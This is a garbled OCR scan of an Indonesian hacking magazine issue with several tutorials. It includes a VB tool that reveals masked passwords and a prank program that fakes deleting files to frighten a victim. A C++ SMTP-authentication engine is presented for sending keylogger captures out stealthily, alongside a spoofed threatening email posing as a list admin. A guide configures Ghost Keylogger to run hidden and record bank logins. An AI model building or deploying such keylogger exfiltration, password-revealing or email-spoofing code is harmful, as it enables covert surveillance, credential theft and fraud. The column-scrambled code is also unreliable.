Dim oDyxb As String, oDyxbOy As String * 255,
TempHwnd As Long
If Korban = False Then Exit Sub
Call GetCursorPos(LetakMouse)
TempHwnd = WindowFromPoint(LetakMouse.X,
LetakMouse.Y)
Call GetoDyxbOy(TempHwnd, oDyxbOy, 255)
oDyxb = Trim(Left(oDyxbOy, InStr(oDyxbOy,
vbNullChar) - 1))
Opsi MouseUp pada feature Image1.
Procedure: Klik
untuk milih Kode program untuk Module.
procedure kode
program pada [Image1]
Object
7 Masih pada feature Image1
juga, kemabli klik procedure
Module
Kode Program Kita akan menuju pada
dan pilih opsi MouseUp lalu code editor untuk Module, ketikkan
masukkan kode programnya. kode:
Dim TargetLen As Long, Hasil As String, hwnd As Public Type POINT
Long X As Long
Korban = False Y As Long
Image1.Picture = Image3.Picture End Type
Me.MousePointer = 0 Public Korban As Boolean
Call GetCursorPos(LetakMouse) Public LetakMouse As POINT
hwnd = WindowFromPoint(LetakMouse.X, Public RetVal As Long
Opsi MouseUp pada feature Image1. LetakMouse.Y)
hwnd = GetTopLevelParent(hwnd) Global Const MainTitle = "Ngintips"
[Image1] TargetLen& = SendMessage(hwnd&, Global Const WM_GETTEXT = &HD

5 Masih pada feature Image1


WM_GETTEXTLENGTH, 0&, 0&)
Hasil$ = String(TargetLen&, 0&)
Call sendmessagebystring(hwnd&, WM_GETTEXT,
Global Const WM_GETTEXTLENGTH = &HE
Public Declare Function GetCursorPos Lib "User32"
juga, kembali klik procedure TargetLen& + 1, Hasil$)
(ByRef lpPoint As POINT) As Long
Public Declare Function WindowFromPoint Lib
dan pilih opsi MouseUp lalu Text1.Text = Hasil$ "User32" (ByVal X As Long, ByVal Y As Long) As
masukkan kode programnya.

28 NeoTek Vol. IV No. 02


NeoTutor
Long
Public Declare Function GetParent Lib "User32"
(ByVal hwnd As Long) As Long
Public Declare Function GetoDyxbOy Lib "User32"
Alias "GetClassNameA" (ByVal hwnd As Long,
ByVal lpClassName As String, ByVal nMaxCount As
Long) As Long
Public Declare Function IsWindow Lib "User32"
(ByVal hwnd As Long) As Long
Public Declare Function SendMessage Lib "User32"
Alias "SendMessageA" (ByVal hwnd As Long, ByVal
wMsg As Long, ByVal wParam As Long, lParam As
Any) As Long
Public Declare Function sendmessagebystring Lib Program dapat diuji dulu lewat menu Run > Start
"User32" Alias "SendMessageA" (ByVal hwnd As
Long, ByVal wMsg As Long, ByVal wParam As
Run
Long, ByVal lParam As String) As Long
Public Declare Sub SetWindowPos Lib "User32"
(ByVal hwnd As Long, ByVal hWndInsertAfter As
10 Tes Program. Sekarang si-
Long, ByVal X As Long, ByVal Y As Long, ByVal cx
lakan anda tes terlebih da-
As Long, ByVal cy As Long, ByVal wFlags As Long) hulu dengan menjalankan
Public Declare Function ShellExecute Lib program untuk melihat ha-
"shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As silnya. Caranya yaitu: klik
Long, ByVal lpOperation As String, ByVal lpFile As
String, ByVal lpParameters As String, ByVal
Run pada standard toolbar
lpDirectory As String, ByVal nShowCmd As Long) dan pilih opsi Start atau
As Long tekan F5 pada keyboard
Public Function GetTopLevelParent(ByVal
hwndNum As Long) As Long Execution
Dim ParentHwnd As Long
Dim tmpHwnd As Long 11 Terakhir adalah menjadikan- Membentuk executable file.
tmpHwnd = hwndNum nya program sungguhan
If 0 <> IsWindow(tmpHwnd) Then atau membentuk executable
ParentHwnd = GetParent(tmpHwnd) Make Projet1.exe maka akan terben-
file (file yang dapat diekse-
tmpHwnd = ParentHwnd tuk executable file dan sudah dapat
End If kusi).Caranya klikFFile pada
dijalankan atau anda bagi-bagikan
GetTopLevelParent = hwndNum standard toolbar, pilih opsi
End Function pada teman-teman.

PASSWO R D R EVEALE R
EBENARNYA YANG DIBAHAS PADA
S artikel di atas, bukanlah pass-
word cracker dalam arti kata
sesungguhnya, melainkan suatu pass-
word revealer (pengungkap password).
Artinya password yang ingin ketahui
sudah terdapat pada komputer dan
tidak dienkripsi, melainkan hanya di-
sembunyikan di balik deretan
karakter asteriks *****
Penyembunyian password ini terdapat
pada Windows 9x/ME. Suatu teknik
yang sama sekali tidak aman, meng-
ingat mudahnya mengungkap (reveal)
password yang tersembunyi tadi. Pada
Windows XP teknik password revealer
ini sudah tidak dapat digunakan.
Password cracking (termasuk password
revealing) pernah dibahas di NeoTek
II/12 beserta bermacam-macam pro-
gram password revealer yang dimuat • 007 Password Recovery
lagi dalam CD NeoTek kali ini. • DialUp Ripper
• Dripper 2.0
Jadi selain dengan program yang di- • DUNRipper
buat dengan Visual Basic di atas, ser- • Rev
ta program Sandi Yudha buatan • Revelation NT Password Crack
Happy Chandraleka, anda dapat juga • Sandi Yudha 1.0
mengintip password menggunakan • Showin 2.0
bermacam-macam program yang • Snadboy Revelation
serupa pada CD NeoTek kali ini. • Unhide

Vol. IV No. 02 NeoTek 29


NeoTutor

VI S UAL BAS I C WO R KS H O P
Membuat Program Usil
Untuk menambah gairah belajar pemrograman, ada baiknya membuat program yang sedikit
‘nakal’ seperti halnya suatu joke program yang pura-pura men-delete file atau memformat hard
disk korban. MA Rody Candera (odyxb@melva.org) membahasnya untuk anda.

UATU HARI ANDA MENDAPATKAN MS Studio Visual Basic • 1 buah ProgressBar


S sebuah program yang menarik
perhatian, anda ambil lalu ja-
1 Biasanya kita mempersiap- • 1 buah Timer
• 1 buah Label
kan interface program, tapi
lankan. Ketika program berjalan tiba- kali ini penulis kira sebaik- Kemudian atur properties feature se-
tiba ada proses yang janggal, yaitu ter- nya langsung saja karena perti yang pada Gambar 2. Default
jadi beberapa proses yang tidak dapat tidak ada interface program yang perlu Toolbox yang muncul mungkin tidak
anda kendalikan kemudian pada kom- digambarkan disini. Aktifkan Micro- menampilkan feature ProgressBar,
puter yang anda gunakan terjadi peng- soft Visual Basic. Kita membutuhkan 3 untuk itu perlu anda aktifkan. Klik
hapusan file-file di dalamnya dan se- form, tandanya anda harus menam- Project pilih Component. Muncul
lanjutnya hardisk diformat tanpa per- bahkan 2 form lagi. Pada standard menu component, aktifkan Microsoft
setujuan anda. Ternyata ketika me- toolbar, klik Project pilih Add Form. Common Control 6.0 lalu klik OK.
ngetahui bahwa itu semua hanya joke
(candaan), barulah akhirnya anda me-
rasa lega.
Apakah anda pernah mengalaminya
atau malah anda ingin membuat pro-
gram seperti itu? Program yang me- Design Form
miliki kemampuan untuk mengusili
kita dan cukup membuat hati hancur
3 Form2. Design untuk Form2
berkeping-keping (duh... seperti cinta). tidak jauh berbeda dengan
Pada kesempatan kali ini (pembahasan Form1, hanya berbeda Pro-
pembuatan aplikasi menggunakan VB), perties Captionnya untuk Feature
kita akan mencoba program seperti itu. Label. Seperti terlihat pada Gambar 3.
Program sederhana tapi mengasikkan.
Programnya nanti bagus buat ngerjain
teman-teman kita dan anda bisa mem-
bayangkan bagaimana wajah teman
anda ketika mengalaminya.
Baiklah mari kita langsung menuju
proses pembuatannya. Anda tinggal
mengikuti langkah per langkah yang
akan diterangkan berikut.

Design Form
4 Form 3. Design Form 3 ber-
beda dengan 2 Form sebe-
lumnya. Feature yang di-
butuhkan yaitu 5 buah Label, 5 buah
Timer, 1 buah ProgressBar, 1 buah
Command, 1 buah ListBox, dan 1
buah FileListBox.
Atur properties-nya seperti terlihat
Design Form pada Gambar 4. Jika anda masih
2 Form 1. Kita akan medesign
bingung mengatur properties ini,
dapatkan source-nya yang disediakan
Form1 dengan memasukkan
feature yang dibutuhkan, yaitu: dalam CD NeoTek.

30 NeoTek Vol. IV No. 02


NeoTutor
Option Explicit Label3.Visible = False
Private Declare Function SystemParametersInfo Lib "user32" Alias ProgressBar1.Visible = False
"SystemParametersInfoA" (ByVal uAction As Long, ByVal Label5.Caption = Val(Label5.Caption) + 1 & " %"
uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long If Val(Label5.Caption) = 100 Then
Private Const SPI_SCREENSAVERRUNNING = 97 Timer3.Enabled = False
Private Sub Form_Load() ProgressBar1.Visible = False
Dim ret As Integer Form3.Cls
Dim pOld As Boolean Timer6.Enabled = True
ret = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, pOld, 0) Timer5.Enabled = False
End Sub Label5.Visible = False
Private Sub timer1_Timer() End If
If ProgressBar1.Value < 100 Then End Sub
ProgressBar1.Value = ProgressBar1.Value + 1 Private Sub timer4_Timer()
End If Timer1.Enabled = True
If ProgressBar1.Value = 100 Then Timer5.Enabled = True
Unload Me Timer4.Enabled = False
Form2.Show End Sub
End If Private Sub timer5_Timer()
End Sub If filWindows.ListIndex = filWindows.ListCount - 1 Then
On Error Resume Next
lstPaths.ListIndex = lstPaths.ListIndex + 1
Kode Program
5
If Not lstPaths.Text = "end" Then
filWindows.Path = GetWindowsDir & "\" & lstPaths.Text
Form 1. Sekarang kita berada Label3.Caption = "Deleting " & GetWindowsDir & "\" & lstPaths.Text
pada sesi penulisan kode pro- & "\" & filWindows.FileName Error
gram, lihat listing kode pro-
gram pada Gambar 5 dan tuliskan di Else
ProgressBar1.Value = 0
ProgressBar1.Max = filWindows.ListCount 9 Program Gagal. Jika terjadi
kesalahan program, yang
code editor untuk form 1 Timer3.Enabled = True
End If perlu anda perhatikan adalah
Private Sub timer1_Timer()
Else
filWindows.ListIndex = filWindows.ListIndex + 1
penulisan dan penempatan
If ProgressBar1.Value < 100 Then
ProgressBar1.Value = ProgressBar1.Value + 1
ProgressBar1.Value = ProgressBar1.Value + 1 kode program, begitu juga pengaturan
End If
Label3.Caption = "Deleting " & GetWindowsDir & "\" & lstPaths.Text & properties pada feature-feature yang
"\" & filWindows.FileName
If ProgressBar1.Value = 100 Then
Unload Me
End If digunakan pada form-form. Untuk
Form3.Show
End Sub menghindarinya, silakan anda ricel
End If
Private Sub timer6_Timer()
If Timer6.Enabled = True Then
kembali source yang disertakan di
End Sub
Command1.Visible = True dalam CD NeoTek.
Kode Program GetDiskInfo
Selesai sudah untuk pembahasan untuk
6 Form 2. Selanjutnya mema-
sukkan kode program untuk
End If
Label4.Visible = False
Label2.Visible = True
program usil kita kali ini.
If Form3.BackColor = &H0& Then Program ini jika anda racik lagi dengan
Form 2. Listing kode program Form3.BackColor = &HFF&
menambahkan kode programnya untuk
bisa anda lihat dibawah dan segera tu- Else
Form3.BackColor = &H0& yang lebih usil lagi, maka akan makin
liskan kode programnya End If
berbahaya.
End Sub
Option Explicit
Private Declare Function SystemParametersInfo Lib "user32" Alias
Public Sub GetDiskInfo()
spaceInt = InStr(C, " ")
Penulis sudah mencoba,
"SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long,
lpvParam As Any, ByVal fuWinIni As Long) As Long
If spaceInt > 0 Then C = Left$(C, spaceInt - 1)
If Right$(C, 1) <> "\" Then C = C & "\"
hiiii.... takut deh.
Private Const SPI_SCREENSAVERRUNNING = 97
Private Declare Function GetDiskFreeSpaceEx Lib "kernel32" Alias
DLetter = Left(UCase(C), 1)
Call GetDiskFreeSpaceEx(C, BytesFreeToCalller, TotalBytes, TotalFreeBytes)
Tapi silakan anda berkreasi untuk me-
"GetDiskFreeSpaceExA" (ByVal lpRootPathName As String, TNB = TotalBytes * 10000 nambah keusilan program ini nantinya.
lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As TFB = (TotalBytes - TotalFreeBytes) * 10000
Currency, lpTotalNumberOfFreeBytes As Currency) As Long Label2.Caption = " Total Free Space: " & Format$(TotalBytes * 10000, Mungkin makin asik kali yach...
Dim r As Long, BytesFreeToCalller As Currency, TotalBytes As Currency "###,###,###,##0") & " bytes"
Dim TotalFreeBytes As Currency, TotalBytesUsed As Currency End Sub Ok, sampai jumpa pada pembahasan
Dim TNB As Double proses pembuatan program berikutnya
Dim TFB As Double
Kode Program yang akan lebih gress lagi.
7
Dim FreeBytes As Long
Dim C As String
Dim DLetter As String
Form 3. Listing kode program
Dim spaceInt As Integer Form 3 cukup panjang, tulis-
Private Sub Command1_Click()
MsgBox ("Dag Dig Dug Derrrrrr...... only a joke, kekekekeke!!! :)")
kan kode programnya pada Rangkaian Artikel Visual Basic
Dim ret As Integer code editor Form 3.
Dim pOld As Boolean
Rangkaian artikel Visual Basic MA
ret = SystemParametersInfo(SPI_SCREENSAVERRUNNING, False, pOld, 0) Rody Candera (odyxb@melva.org)
End
End Sub
yang sudah dimuat di NeoTek:
Private Sub Form_Load()
Command1.Visible = False
Mengenal Visual Basic
Label2.Visible = False NeoTek IV/2
Label5.Caption = 0
Label4.Visible = False Password Cracker Buatan Sendiri
Label5.Visible = False NeoTek IV/2
Timer1.Enabled = False
Timer3.Enabled = False Membuat Program Usil
Timer4.Enabled = True
Run NeoTek IV/2
Timer5.Enabled = False
Timer6.Enabled = False
End Sub
8 Uji Program. Sampai disini,
program sudah dapat anda
Fake Program Buatan Sendiri
Private Sub timer1_Timer() NeoTek III/11
Label1.Move Label1.Left - 25 uji. Klik Run pilih Start.
End Sub Program Jahat Buatan Sendiri
Perhatikan dengan seksama
Private Sub timer3_Timer() NeoTek III/11
On Error Resume Next jalannya program. Jika ada error pada
Form3.Cls
program dapat untuk segera Program Penggoda yang Berbahaya
Label4.Visible = True
Label5.Visible = True diperbaiki. NeoTek III/12

Vol. IV No. 02 NeoTek 31


NeoTutor

S M T P U N T U K K E Y LO G G E R
Menggunakan Subscribed SMTP
Dewanata (m_strdewanata@yahoo.com) kali ini membahas cara memanfaatkan
authenticated SMTP untuk keylogger, mengingat langkanya open relay SMTP sekarang ini.
SMTP dapat anda baca di RFC 2554. Perintah dasar yang
A
RTIKEL INI ADALAH ARTIKEL KEEMPAT DARI SERANGKAIAN
artikel yang membahas pembuatan program key- digunakan untuk request otentikasi adalah
logger. Pada artikel terakhir, telah dijelaskan satu AUTH <mekanisme>
trik untuk mengirimkan hasil tangkapan keylogger kita meng-
gunakan email. Pada artikel tersebut, dijabarkan pembuatan untuk <mekanisme> adalah tipe mekanisme otentikasi
satu class SMTP, yang nantinya akan 'ditempelkan' di pro- SASL (Simple Authentication and Security Layer) yang
gram keylogger kita sebagai mesin SMTP. Ini akan mem- didukung oleh server.
buat keylogger mampu mengirimkan email secara lebih Tipe mekanisme ada bermacam-macam, antara lain PLAIN,
fleksibel dan stealthy. LOGIN, dan DIGEST-MD5. Untuk artikel ini penulis meng-
Pada artikel ini, akan dijelaskan lanjutan dari trik tersebut gunakan LOGIN. Untuk mengetahui mekanisme otentikasi
dengan menambahkan kemampuan otentikasi SMTP. apa saja yang didukung oleh server SMTP anda, ketikan
perintah EHLO. Pastikan bahwa server tersebut mendu-
Apa Itu Otentikasi SMTP? kung mekanisme yang dimaksud.
Pada artikel sebelumnya, kita menggunakan server SMTP Bagaimana Prosesnya?
yang mengijinkan anonymous user untuk mengirimkan
email. Masalahnya, server jenis ini (yang juga disebut open Berikut adalah langkah-langkah pengiriman email dengan
relay SMTP server) semakin langka keberadaannya karena otentikasi:
alasan-alasan keamanan dan finansial. Sebagai alternatif, 1. Kirimkan perintah EHLO, bukan HELO seperti pada
kita dapat memanfaatkan layanan mail server yang berlang- artikel sebelumnya
ganan. Yang dimaksud dengan 'berlangganan' (subscribed)
adalah setiap pengguna pertama-tama harus mendaftarkan 2. Kirimkan perintah AUTH LOGIN
dirinya di server. Selanjutnya setelah terdaftar, ada proses 3. Kirimkan teks username yang telah dikodekan
otentikasi (pengisian username dan password) yang harus menggunakan Base64 encoding.
dilewati oleh pengguna sebelum mulai mengirim email. 4. Kirimkan password yang telah dikodekan.
Pada umumnya ada dua tipe berlangganan: yang bayar dan Jika proses otentikasi berhasil, maka proses selanjutnya sama
yang gratisan. Tentunya untuk yang layanan-bayar kita dengan proses pengiriman pada artikel sebelumnya, yaitu:
coret dari daftar karena identitas kita dengan mudah dapat
dilacak (no carding please!). Untuk yang gratisan, perlu kita 5. Kirimkan perintah MAIL FROM:
filter lagi apakah kita diijinkan untuk melakukan akses ke 6. Kirimkan perintah RCPT TO:
port SMTP secara langsung (misalnya melalui telnet). Pro-
vider besar seperti Yahoo dan Hotmail sudah tidak lagi me- 7. Kirimkan perintah DATA
nyediakan layanan ini. Pada saat artikel ini ditulis, hotPOP 8. Selanjutnya kirimkan content email yang terdiri atas:
(www.hotPOP.com) dan beberapa provider lainnya masih
menyediakan layanan tersebut. - Bagian header email
Date:
Subject:
Metode Otentikasi SMTP To:
Ada dua metode yang umum digunakan untuk otentikasi From:
SMTP, yaitu: - Badan email

1. POP-first Catatan:
Bagian header dan badan email harus dipisahkan oleh satu baris kosong.
SMTP sebenarnya tidak dibekali dengan mekanisme
otentikasi, beda dengan POP. Ketika menjalankan layan- 9. Kirimkan tanda akhir segmen DATA, yaitu '.'
an POP, kita harus mengisi username dan password se- 10. Kirimkan perintah QUIT
belum dapat membaca email. Pada metoda POP-first,
pengguna harus melakukan otentikasi POP terlebih da- Penjelasan tambahan:
hulu, kemudian menjalankan layanan SMTP. Seperti biasa, di setiap langkah ada proses negosiasi antara client dan ser-
ver. Maksudnya, client mengirimkan perintah dan server merespon perin-
2. AUTH method tah tersebut. Jika ternyata respon yang dikirimkan server mengindikasikan
Metode ini diperkenalkan dalam ESMTP yaitu model kegagalan, maka proses harus dihentikan.
lanjutan SMTP. Pada metode ini, otentikasi cukup dila- Pada langkah 5, informasi yang diisikan di field MAIL FROM: harus sama
kukan satu lapis, yaitu lapisan SMTP saja. dengan username (langkah 3). Namun hal ini tergantung pada kebijakan
penyedia server.
Pada artikel ini, penulis akan menggunakan metode kedua. Pada langkah 8, kita mengisi informasi header email. Informasi inilah yang
akan ditampilkan ke penerima email, bukan yang diisi di langkah 5 dan 6.
Perintah Dasar Anda sebenarnya dapat saja mengirimkan email (palsu?) ke satu milis, wa-
laupun anda bukan anggota milis tersebut (!!!), dengan memanipulasi in-
Penjelasan lengkap mengenai notasi dan perintah otentikasi formasi ini. Bayangkan! Anda dapat mengirimkan pesan, iklan, atau pro-

32 NeoTek Vol. IV No. 02


NeoTutor
gram kecil (virus?) ke ribuan anggota milis, tanpa perlu subscribe ke milis- Pemrograman
milis tersebut. Namun karena tindakan ini dapat digolongkan ke spam /
abuse, penulis sama sekali tidak menyarankan anda melakukan hal tersebut. Untuk pemrograman, penulis memanfaatkan class Cmy_smtp
yang telah dibuat pada artikel terdahulu. Sedikit perubah-
int Cmy_smtp::SendEmail() an dilakukan pada fungsi SendEmail(), seperti terlihat pada
{ Boks 1 (tanpa raster). CBase64Coder adalah kelas yang
printf("Open socket...");
if(SetSocket()<0) return -1; diperkenalkan oleh penulis pada artikel terpisah. Kelas ini
printf("Ok!\n"); bertugas untuk melakukan pengodean dari plain text ke
char chtemp[5120];
format Base64
char chbuf[1024];
Bagaimana Menggunakannya?
printf("Check response from smtp server...");
if(::recv(sSocket, chbuf, sizeof(chbuf), 0) < 0) goto failed; Untuk menggunakannya anda harus menyertakan header
strcpy(chtemp,"220"); class Cbase64Coder di program utama. Kode class tersebut
if(strstr(chbuf, chtemp)==NULL) goto failed;
printf("Ok!\n"); bisa anda dapatkan di CD Neotek edisi ini. Berikut adalah
contoh program untuk mengirimkan sebuah email dengan
if(szUsername==NULL){
otentikasi. Perhatikan pada versi ini, kita harus mengisi
// without authentication parameter username dan password, untuk mengaktifkan
printf("Sending HELO...");
if(SendBytes("HELO smtp.yahoo.com\r\n","250")<0) goto failed;
rutin otentikasi.
printf("Ok!\n"); Perhatikan pula fungsi SetContent() yang merupakan inti
} else {
pengiriman email. Parameter yang dikirim oleh fungsi
// with authentication tersebut terdiri atas dua bagian; header dan badan email,
printf("Sending EHLO...");
if(SendBytes("EHLO smtp.yahoo.com\r\n","250")<0) goto failed; dan dibatasi oleh baris kosong (\\r\n). Nama server, pe-
printf("Ok!\n"); ngirim, dan penerima (dalam contoh ini adalah sebuah
CBase64Coder cbase;
milis) sengaja disamarkan.
#include "stdafx.h"
printf("Sending AUTH LOGIN...");
if(SendBytes("AUTH LOGIN\r\n","334")<0) goto failed; #include "Base64Coder.h"
printf("Ok!\n"); #include "my_smtp.h"
printf("Sending base64-coded username..."); int main(int argc, char* argv[])
cbase.SetPlainChar(szUsername); {
cbase.Encode(); printf("*********************\n");
if(SendBytes(strcat(cbase.GetCodedChar(),"\r\n"),"334")<0) goto printf("EMAIL SENDER VIA SMTP\n");
failed; printf("WITH AUTHENTICATION\n");
printf("Ok!\n"); printf("By Dewanata\n");
printf("September 2003\n");
printf("Sending base64-coded password..."); printf("*********************\n\n");
cbase.SetPlainChar(szPassword);
cbase.Encode(); Cmy_smtp smtp;
if(SendBytes(strcat(cbase.GetCodedChar(),"\r\n"),"235")<0) goto
failed; smtp.SetSmtpserver("smtp.a_server.com");
smtp.SetPortnumber(25);
printf("Ok!\n");
} smtp.SetUsername("unyil@a_server.com");
smtp.SetPassword("test");
printf("Sending MAIL FROM command...");
strcpy(chtemp,"MAIL FROM: ");
strcat(chtemp,szFrom); smtp.SetFrom("unyil@a_server.com");
strcat(chtemp,"\r\n"); smtp.SetTo("a_victim_milis@milis_provider.com");
if(SendBytes(chtemp,"250")<0) goto failed;
printf("Ok!\n"); smtp.SetContent(
"Date: 4 Oct 2003 4:10:17\r\n"\
printf("Sending RCPT TO command..."); "Subject: Termination of service\r\n"\
strcpy(chtemp,"RCPT TO: "); "To: a_victim_milis@milis_provider.com\r\n"\
strcat(chtemp,szTo); "From: \"Admin\" <admin@milis_provider.com>\r\n"\
strcat(chtemp,"\r\n"); "\r\n"\
if(SendBytes(chtemp,"250")<0) goto failed; "\r\n"\
printf("Ok!\n"); "Dear members of a_victim_milis.\r\n"\
"\r\n"\
printf("Sending DATA command..."); "Please be informed that due to security reasons your group "\
strcpy(chtemp,"DATA\r\n"); "will be removed from milis_provider.com. The removal will be "\
if(SendBytes(chtemp,"354")<0) goto failed; "executed tomorrow at 5:00 PM."\
printf("Ok!\n"); "\r\n"\
"Based on Anti-Terrorism Act we have right to terminate the "\
printf("Sending header and body of email..."); "service for group that is suspected giving its members the "\
strcpy(chtemp,szContent); "knowledge to destruct public facility. We recorded one or "\
if(SendBytes(strcat(chtemp,"\r\n.\r\n"),"250")<0) goto failed; "more of your member[s] mentioned that issue "\
printf("Ok!\n"); "several times on emails.\r\n"\
"\r\n"\
printf("Sending QUIT command..."); "Please take this notification seriously and the next is "\
strcpy(chtemp,"QUIT\r\n"); "moderator[s] will be contacted by Federal Agents in personal "\
if(SendBytes(chtemp,"221")<0) goto failed; "to be questioning.\r\n"\
printf("Ok!\n"); "\r\n"\
"This notification is server generated, you should not reply "\
::closesocket(sSocket); "to it.\r\n");
return 0; if(smtp.SendEmail ()<0){
printf("\nFailed sending email!\n");
failed: } else {
Kotak 1 printf("\nSuccess sending email!\n");
::closesocket(sSocket); }
printf("Failed!\n");
return 0;
return -1; }
}

Vol. IV No. 02 NeoTek 33


NeoTutor

Gambar di bawah ini adalah contoh tampilan ketika pro-


gram dijalankan.

Program ini dapat ‘disalahgunakan’ untuk mengirim email ke


milis walaupun anda bukan anggota milis tersebut.
Pengiriman email secara otomatis melalui SMTP server yang dahnya memalsukan email dan 'nimbrung' ke satu milis,
memerlukan otentikasi. sehingga selanjutnya Pembaca dapat berhati-hati dan ja-
ngan mudah percaya dengan email yang masuk ke milis/
Versi GUI? mailbox Anda.
Anda dengan mudah dapat mengembangkan aplikasi meng- Email palsu sebenarnya mudah dilacak, dengan membaca
gunakan class-class tersebut. rincian header email tersebut, terutama informasi yang
Tampilan di bawah ini adalah contoh aplikasi GUI MFC tercantum pada field Received: terdekat ke body email.
sederhana yang dikembangkan penulis sebagai demo. Pro-
gram ini disertakan pula di CD Neotek edisi ini. Password
yang ditampilkan adalah dummy password. Untuk men-
coba, sebaiknya Anda membuka account sendiri di server
SMTP tersebut atau memakai SMTP ISP anda.
Rangkaian Artikel Keylogger
Artikel ini merupakan rangkaian artikel tentang
pembuatan keylogger yang sudah dan akan dimuat di
nomor-nomor NeoTek sebagai berikut:
C++ Workshop: Membuat Sendiri Keylogger
NeoTek III/8
Pengenalan konsep keylogger
Pembuatan kerangka utama program keylogger
Keylogger v. 2.0: Modifikasi srv32.exe dan srv32.dll
NeoTek III/12
Pencegahan dua instan keylogger aktif di memori, menggunakan mutex
Identifikasi program yang aktif ketika dilakukan pengetikan
Hasil Intersepsi Keylogger Dikirim Otomatis ke Pemasang
NeoTek IV/1
Konsep pengiriman SMTP
Pembuatan mesin SMTP untuk keylogger, menggunakan open relay SMTP
SMTP untuk Keylogger: Menggunakan Subscribed SMTP
Versi GUI dari program pengirim email melalui SMTP server NeoTek IV/2
yang memerlukan otentikasi. Konsep otentikasi SMTP, menggunakan verb AUTH
Pembuatan mesin SMTP yang dilengkapi dengan otentikasi
Demo GUI MFC
Mengirim Email ke Milis
Akan Dimuat di Nomor-nomor Mendatang::
Seperti telah dijelaskan sebelumnya, Anda dapat mengi-
rimkan email ke satu milis (katakanlah satu milis di Keylogger dengan SMTP yang Memuat Attachment
NeoTek IV/3
yahoogroups.com) walaupun Anda bukan anggota milis Konsep attachment pada email
tersebut dengan menggunakan program ini. Walaupun Pembuatan mesin SMTP yang berkemampuan mengirimkan attachment
demikian, penulis tidak akan menjelaskan caranya secara
rinci karena hal ini agak sensitif. Sebagai petunjuk bagi Keylogger dengan Kemampuan Kamuflase
NeoTek IV/4
yang tertarik, silahkan pelajari tampilan berikut ini. Finalisasi keylogger
Deployment menggunakan NSIS, kamuflase 'mirip Flash'.
Penulis sangat tidak menganjurkan pembaca untuk me-
malsukan email karena ini sangat melanggar etika dan pri- Addendum untuk Keylogger: Format Base64
vacy. Di satu kasus, Anda bisa saja dituduh melanggar hu- NeoTek IV/5
kum. Penjelasan penulis mengenai hal-hal di atas adalah Penjelasan mengenai format Base64
Pembuatan Base64 Encoder
sekedar untuk menunjukkan ke pembaca, bagaimana mu-

34 NeoTek Vol. IV No. 02


NeoTutor

GHOST KEYLOGGER
UDAH LAMA TIDAK MUNCUL KEYLOGGER
S baru dan ampuh, kini muncul key-
logger ampuh dan dengan segudang
fasilitas, antara lain logfile disimpan secara

KEYLOGGER AMPUH terenkripsi, hidden, invisible oleh systray


(full version), logfile otomatis terkirim ke
email (full version), dan lain sebagainya.

VERSI TAHUN 2003 Keylogger ini pun sangat berbahaya apabila


dipakai tanpa tanggung jawab, semua yang
anda ketikkan akan terlihat di keylogger ini.
Hebatnya apabila anda membuka sebuah
Andi Ismayadi (Fuzk3_kendi@yahoo.com) memperkenalkan situs, keylogger ini mampu mencatat nama
keylogger jadi, yaitu Ghost Keylogger yang mempunyai segudang situs itu, menyimpan apa saja yang anda
ketikkan, seperti email login, account bank
fasilitas, sebagai pelengkap bahasan keylogger kali ini. Dapatkan di anda, bahkan login game online.
http://www.sureshotsoftware.com/keyloggerlite/index.html
Regards, kepada Blank dan Alphacentury
atau di http://www.ghostkeylogger.com

Keylogger yang dapat di-setting agar bekerja efektif dan stealth.

INSTALASI DAN KONFIGURASI


1 Instal program ini, file executable ini ukurannya
1,2 MB dan tidak lebih. Apabila lebih sebaiknya
jangan di-download, karena mungkin disusupi
program berbahaya. Setelah instalasi anda dapat
mengkonfigurasi keylogger ini, mulai dari setelan
password-nya, tombol shorcut, folder penyimpan
logfile, dan lain sebagainya.

MENGUBAH OPSI DEFAULT


2 Terlihat Keylogger langsung diset sebagai Invisible. Anda dapat langsung menjalankannya de-
ngan tombol Start the keylogger, tapi semua opsinya default. Jika ingin men-set sendiri semua
opsi, mulai dari Tab File. Disini anda dapat mengatur logfile-nya ditaruh folder mana, setelah
itu dapat mengatur besarnya logfile pada tombol Advance.

Logfile dapat dilihat pada Tab


View Log Files. Tekan tombol
Add dan buka logfile yang te-
lah anda simpan di folder pilih-
FILTER an anda, lalu buka dengan
3 Pada Tab filters, semua
tanda cek yang ada dapat
Notepad dan internet browser.
Setelah semua settingan se-
dihilangkan untuk men- lesai, kini keylogger anda aman
dapatkan hasil yang mak- dan hidden. Untuk membuka-
simal. Filter disini artinya MAIL SETTING nya tekan Ctrl+Alt+Shit+G.
tombol keyboard mana
yang akan anda saring,
agar tidak disertakan da-
4 Tab Mail tidak dapat diatur kecuali jika anda
membeli terlebih dahulu full version-nya seharga
5 Pada tampilan selanjutnya
anda diminta memasukkan
USD50. Pada pilihan ini semua logfile yang ada password yang telah anda set
lam logfile nantinya. akan terkirim secara otomatis ke email anda. sebelumnya.

Vol. IV No. 02 NeoTek 35


NeoTutor

LI N U X WO R KS H O P
Tip Membuat Partisi Linux
Membuat partisi pada Linux merupakan batu sandungan utama bagi para pemula, apalagi
yang sudah terbiasa dengan kemudahan yang diberikan oleh Windows. Eryanto Sitorus
(ery@postmaster.co.uk) membahas sisi yang penting namun sering diabaikan ini.
AGI SEORANG PEMULA (NEWBIE), Yah di mana lagi kalau tidak di Maja- Masing-masing sistem harus memiliki
B khususnya yang tertarik ingin
menginstal Linux, ada satu hal
lah NeoTek? :) filesystem, tapi dalam prakteknya ka-
dangkala tidak sedikit pula user yang
Itulah substansi yang menjadi bahasan
yang sifatnya sangat krusial, dan acap utama dalam artikel saya kali ini, dan senang bekerja dengan banyak file-
kali menjadi kendala, yaitu pada saat tentunya informasi itu pula lah yang system.
mereka akan membuat partisi sebagai nantinya akan anda peroleh setelah Sebagai contoh misalnya anda mungkin
tempat untuk menampung sistem ope- membacanya. ingin memisahkan sebagian filesystem
rasi tersebut. anda ke dalam direktori /usr, maka anda
Namun, sebelum saya mulai memba-
Hal inilah yang justru sering diabaikan hasnya lebih detail, alangkah bijaksa- harus membuat partisi /usr. Dalam hal
oleh para pakar dalam referensi atau nanya jika yang kita bahas terlebih ini, maka anda telah mempunyai dua
sumber bacaan yang mereka tulis ten- dahulu adalah dasar-dasar partisi. buah filesystem, yakni filesystem yang
tang teknik menginstal SCO UNIX, ada di partisi root (/) dan di partisi /usr.
